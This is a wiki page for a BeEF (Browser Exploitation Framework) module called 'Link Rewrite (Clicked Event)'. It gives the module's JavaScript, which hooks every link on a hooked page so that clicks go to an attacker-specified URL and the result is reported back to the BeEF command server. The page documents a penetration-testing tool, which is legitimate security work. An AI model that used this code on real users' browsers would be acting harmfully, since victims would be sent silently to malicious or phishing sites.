Skip to content

Module: Link Rewrite (Clicked Event)

Haoxi Tan edited this page Jan 8, 2020 · 2 revisions

Summary

  • Objective: Replace all links to a specified link

  • Authors: xntrik, @bilawalhameed, passbe

  • Browsers: All except Chrome

  • Code

Internal Working

sets a javascript callback function on the element of all links to redirect to a specified link when clicked.

beef.execute(function() {
    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinksClickEvents('<%= @url %>')+' links rewritten to <%= @url %>');
});

//rewriteLinksClickEvents function

rewriteLinksClickEvents: function(url, selector) {
        var sel = (selector == null) ? 'a' : selector;
        return $j(sel).each(function() {
                if ($j(this).attr('href') != null)
                {
                        $j(this).click(function() {this.href=url});
                }
        }).length;
},

Feedback

Clone this wiki locally